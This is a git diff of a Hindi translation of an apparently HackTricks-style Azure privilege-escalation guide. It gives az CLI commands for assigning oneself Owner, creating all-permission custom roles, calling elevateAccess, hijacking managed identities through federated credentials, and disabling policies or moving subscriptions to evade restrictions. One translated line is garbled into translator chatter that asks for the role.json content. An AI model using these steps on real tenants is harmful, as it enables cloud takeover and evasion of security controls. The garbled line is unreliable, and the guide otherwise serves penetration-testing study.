Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

2026-07-28 22:51:09 -07:00 · 2026-05-05 13:20:01 +00:00
parent 10ec67fdb1
commit 5a1f8a1e71
1 changed files with 87 additions and 24 deletions
@@ -10,18 +10,45 @@
 ../az-services/az-azuread.md
 {{#endref}}

+वे permissions जो किसी principal को **authorization को ही बदलने** देती हैं, आमतौर पर **privesc primitives** होती हैं। यह खास तौर पर तब खतरनाक है जब इन्हें **management group** या **subscription** scopes पर दिया गया हो, क्योंकि permissions child resources द्वारा inherited होती हैं।
+
 ### Microsoft.Authorization/roleAssignments/write

-यह permission किसी विशेष scope पर principals को roles असाइन करने की अनुमति देता है, जिससे attacker खुद को अधिक privileged role असाइन करके privileges escalate कर सकता है:
+यह permission किसी specific scope पर role assignments बनाने की अनुमति देती है, जिससे attacker खुद को या किसी अन्य controlled principal को अधिक privileged role assign करके privileges escalate कर सकता है।
+
+Typical flow:
+```bash
+# Login and confirm current context
+az login
+az account show
+
+# Enumerate current assignments and find the custom role granting this action
+az role assignment list --all --output table
+az role definition list --name "<role-definition-name>"
+```
+यदि compromised principal के पास किसी scope पर यह action है, तो वह सीधे `Owner`, `Contributor`, `Key Vault Secrets Officer`, या उस scope में उपलब्ध कोई भी अन्य built-in/custom role grant कर सकता है:
 ```bash
 # Example
 az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
 ```
-### Microsoft.Authorization/roleDefinitions/Write
+target user/service principal/managed identity का **principal object ID** जानना ही नया role grant करने के लिए काफी है। इसका abuse **self-privesc**, **lateral movement**, या **persistence** के लिए किया जा सकता है, किसी अलग controlled principal को role assign करके।

-यह Microsoft.Authorization/roleDefinitions/Write permission किसी role को दिए गए permissions को संशोधित करने की अनुमति देता है, जिससे एक attacker उस role को और अधिक permissions देकर privileges escalate कर सकता है जिसे उसने assign किया हुआ है।
+### Microsoft.Authorization/roleDefinitions/write

-Create the file `role.json` with the following **content**:
+यह permission custom role definitions create या modify करने की अनुमति देता है। व्यवहार में, यह dangerous है क्योंकि attacker:
+
+- एक custom role को modify कर सकता है जो पहले से ही compromised principal को **assigned** है, जिससे नए permissions तुरंत effective हो जाते हैं।
+- एक नया over-privileged custom role create कर सकता है और फिर उसे assign कर सकता है, आमतौर पर `Microsoft.Authorization/roleAssignments/write` के साथ chaining करके।
+
+Typical flow:
+```bash
+# Find the current assignments
+az role assignment list --all --output table
+
+# Review the role definition currently assigned to the compromised principal
+az role definition list --name "<role-definition-name>"
+```
+कृपया `role.json` की **content** प्रदान करें, ताकि मैं उसे ठीक उसी format में बना सकूँ।
 ```json
 {
 "roleName": "<name of the role>",
@@ -33,19 +60,22 @@ Create the file `role.json` with the following **content**:
 "DataActions": ["*"],
 "NotDataActions": [],
 "AssignableScopes": ["/subscriptions/<subscription-id>"],
-"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
+"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
 }
 ```
-फिर पिछली परिभाषा को कॉल करके role permissions अपडेट करें:
+फिर पिछले definition को कॉल करके role permissions अपडेट करें:
 ```bash
 az role definition update --role-definition role.json
 ```
+यदि modified role **already assigned** है attacker को, तो यह नया role assignment बनाने से तेज path हो सकता है क्योंकि permission inflation existing assignment पर लागू होती है।\
+यदि attacker के पास सिर्फ `roleDefinitions/write` है, तब भी वह इसे weaponize कर सकता है by modifying roles जो पहले से compromised principals को assigned हैं।
+
 ### Microsoft.Authorization/elevateAccess/action

-यह permission विशेषाधिकार बढ़ाने और किसी भी principal को Azure resources पर permissions असाइन करने में सक्षम बनाता है। इसे Entra ID Global Administrators को दिया जाना चाहिए ताकि वे Azure resources पर permissions भी प्रबंधित कर सकें।
+यह permissions privileges को elevate करने और किसी भी principal को Azure resources पर permissions assign करने में सक्षम बनाता है। इसे Entra ID Global Administrators को देने के लिए meant किया गया है ताकि वे Azure resources पर permissions भी manage कर सकें।

 > [!TIP]
-> मुझे लगता है कि उपयोगकर्ता को elevate कॉल काम करने के लिए Entrad ID में Global Administrator होना चाहिए।
+> मुझे लगता है कि elevate call के काम करने के लिए user को Entrad ID में Global Administrator होना चाहिए।
 ```bash
 # Call elevate
 az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +85,29 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
 ```
 ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

-यह अनुमति managed identities में Federated credentials जोड़ने की अनुमति देती है। उदाहरण के लिए, किसी repo में Github Actions को एक managed identity को एक्सेस देने के लिए। इससे यह **किसी भी उपयोगकर्ता-परिभाषित managed identity तक पहुंच** की अनुमति देता है।
+यह permission **user-assigned managed identities** पर **Federated Identity Credentials (FICs)** बनाने/अपडेट करने की अनुमति देती है। व्यवहार में, इससे attacker एक external identity provider के साथ नया trust relationship जोड़ सकता है और फिर उस managed identity के रूप में tokens प्राप्त कर सकता है।

-Github के एक repo को किसी managed identity को एक्सेस देने के लिए उदाहरण कमांड:
+यह एक **persistence / identity hijacking primitive** है: अगर managed identity के पास पहले से Azure resources तक access है, तो attacker को बस एक matching external workload (उदाहरण के लिए, एक GitHub Actions workflow) बनाना होगा और external token को Azure tokens के साथ exchange करना होगा।
+
+इसे abuse करने से पहले verify करने के लिए उपयोगी points:
+
+- कौन सा **managed identity** modify किया जा सकता है
+- कौन से **scope/roles** पहले से उस managed identity को assigned हैं
+- token exchange के दौरान कौन से **issuer**, **subject**, और **audience** स्वीकार किए जाएंगे
+
+आप dedicated CLI command के साथ FIC create कर सकते हैं:
+```bash
+az identity federated-credential create \
+--name "github-federated-identity" \
+--identity-name testMI \
+--resource-group bialystok-rg \
+--issuer "https://token.actions.githubusercontent.com" \
+--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
+--audiences "api://AzureADTokenExchange"
+```
+या raw REST के साथ।
+
+managed identity को एक GitHub repo का access देने के लिए example command:
 ```bash
 # Generic example:
 az rest --method PUT \
@@ -71,26 +121,32 @@ az rest --method PUT \
 --headers "Content-Type=application/json" \
 --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
 ```
+एक बार FIC बन जाने के बाद, attacker external workload से authenticate कर सकता है और Azure में पहले से granted managed identity permissions का उपयोग कर सकता है। GitHub OIDC / workload identity को abuse करने के बारे में अधिक जानकारी के लिए, देखें:
+
+{{#ref}}
+../az-basic-information/az-federation-abuse.md
+{{#endref}}
+
 ### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

-यदि किसी attacker के पास `Microsoft.Authorization/policyAssignments/write` या `Microsoft.Authorization/policyAssignments/delete` अनुमति किसी management group, subscription, या resource group पर है, तो वह **Azure policy assignments को संशोधित या हटाना** कर सकता है, जिससे संभावित रूप से उन विशिष्ट ऑपरेशनों को रोकने वाले **सुरक्षा प्रतिबंधों को निष्क्रिय किया जा सकता है**।
+Management group, subscription, या resource group पर `Microsoft.Authorization/policyAssignments/write` या `Microsoft.Authorization/policyAssignments/delete` permission वाला attacker Azure policy assignments को **modify या delete** कर सकता है, जिससे potentially **security restrictions disable** हो सकती हैं जो specific operations को block करती हैं।

-इससे पहले नीति द्वारा संरक्षित संसाधनों या फंक्शनैलिटी तक पहुंच संभव हो जाती है।
+इससे उन resources या functionalities तक access मिल जाता है जो पहले policy द्वारा protected थीं।

-**नीति असाइनमेंट हटाएँ:**
+**Delete a policy assignment:**
 ```bash
 az policy assignment delete \
 --name "<policyAssignmentName>" \
 --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
 ```
-**एक policy assignment अक्षम करें:**
+**एक policy assignment को disable करें:**
 ```bash
 az policy assignment update \
 --name "<policyAssignmentName>" \
 --scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
 --enforcement-mode Disabled
 ```
-**परिवर्तनों की पुष्टि करें:**
+**परिवर्तनों को सत्यापित करें:**
 ```bash
 # List policy assignments
 az policy assignment list \
@@ -103,11 +159,11 @@ az policy assignment show \
 ```
 ### Microsoft.Authorization/policyDefinitions/write

-An attacker के पास `Microsoft.Authorization/policyDefinitions/write` permission होने पर वह **Azure नीति परिभाषाओं को संशोधित कर सकता है**, जिससे पूरे वातावरण में सुरक्षा प्रतिबंधों को नियंत्रित करने वाले नियम बदल जाते हैं।
+एक attacker जिसके पास `Microsoft.Authorization/policyDefinitions/write` permission है, वह **Azure policy definitions को modify** कर सकता है, जिससे environment भर में security restrictions को control करने वाले rules बदल जाते हैं।

-उदाहरण के लिए, कोई नीति जो संसाधन बनाने के लिए अनुमत क्षेत्रों को सीमित करती है, उसे यह बदलकर किसी भी क्षेत्र की अनुमति देने वाला बनाया जा सकता है, या नीति प्रभाव बदलकर उसे अप्रभावी किया जा सकता है।
+उदाहरण के लिए, resources create करने के लिए allowed regions को सीमित करने वाली policy को modify करके किसी भी region को allow किया जा सकता है, या policy effect को बदलकर उसे ineffective बनाया जा सकता है।

-**नीति परिभाषा संशोधित करें:**
+**एक policy definition modify करें:**
 ```bash
 az policy definition update \
 --name "<policyDefinitionName>" \
@@ -121,17 +177,17 @@ az policy definition show --name "<policyDefinitionName>"
 ```
 ### Microsoft.Management/managementGroups/write

-`Microsoft.Management/managementGroups/write` अनुमति वाले हमलावर **management groups की पदानुक्रमिक संरचना को बदल सकता है** या **नए management groups बना सकता है**, जिससे ऊपरी स्तरों पर लागू सख्त नीतियों से बचा जा सकता है।
+एक attacker जिसके पास permission `Microsoft.Management/managementGroups/write` है, वह **management groups की hierarchical structure को modify** कर सकता है या **new management groups create** कर सकता है, जिससे higher levels पर लागू restrictive policies को potentially evade किया जा सकता है।

-उदाहरण के लिए, हमलावर बिना सख्त नीतियों के एक नया management group बना सकता है और फिर subscriptions को उसमें स्थानांतरित कर सकता है।
+For example, एक attacker बिना restrictive policies के एक नया management group create कर सकता है और फिर subscriptions को उसमें move कर सकता है।

-**नया management group बनाएं:**
+**Create a new management group:**
 ```bash
 az account management-group create \
 --name "yourMGname" \
 --display-name "yourMGDisplayName"
 ```
-**प्रबंधन समूह के पदानुक्रम को संशोधित करें:**
+**एक management group hierarchy को modify करें:**
 ```bash
 az account management-group update \
 --name "<managementGroupId>" \
@@ -147,9 +203,9 @@ az account management-group show \
 ```
 ### Microsoft.Management/managementGroups/subscriptions/write

-इस अनुमति `Microsoft.Management/managementGroups/subscriptions/write` वाले हमलावर के पास **subscriptions को management groups के बीच move करने** की क्षमता होती है, जिससे वह एक subscription को कम प्रतिबंधात्मक या बिना नीतियों वाले ग्रुप में स्थानांतरित करके संभावित रूप से **प्रतिबंधात्मक नीतियों से बच सकता है**।
+एक attacker जिसके पास permission `Microsoft.Management/managementGroups/subscriptions/write` है, वह **management groups के बीच subscriptions को move** कर सकता है, जिससे **restrictive policies को evade** किया जा सकता है, क्योंकि subscription को ऐसी group में move किया जा सकता है जहाँ policies कम restrictive हों या बिल्कुल न हों।

-**किसी subscription को किसी दूसरे management group में स्थानांतरित करें:**
+**एक subscription को different management group में move करें:**
 ```bash
 az account management-group subscription add \
 --name "<managementGroupName>" \
@@ -161,4 +217,11 @@ az account management-group subscription show \
 --name "<managementGroupId>" \
 --subscription "<subscriptionId>"
 ```
+## संदर्भ
+
+- [IAM the Captain Now – Hijacking Azure Identity Access](https://trustedsec.com/blog/iam-the-captain-now-hijacking-azure-identity-access)
+- [REST API का उपयोग करके Azure roles असाइन करें - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/role-assignments-rest)
+- [Azure custom roles](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
+- [user-assigned managed identity और external identity provider के बीच trust बनाएं](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity)
+
 {{#include ../../../banners/hacktricks-training.md}}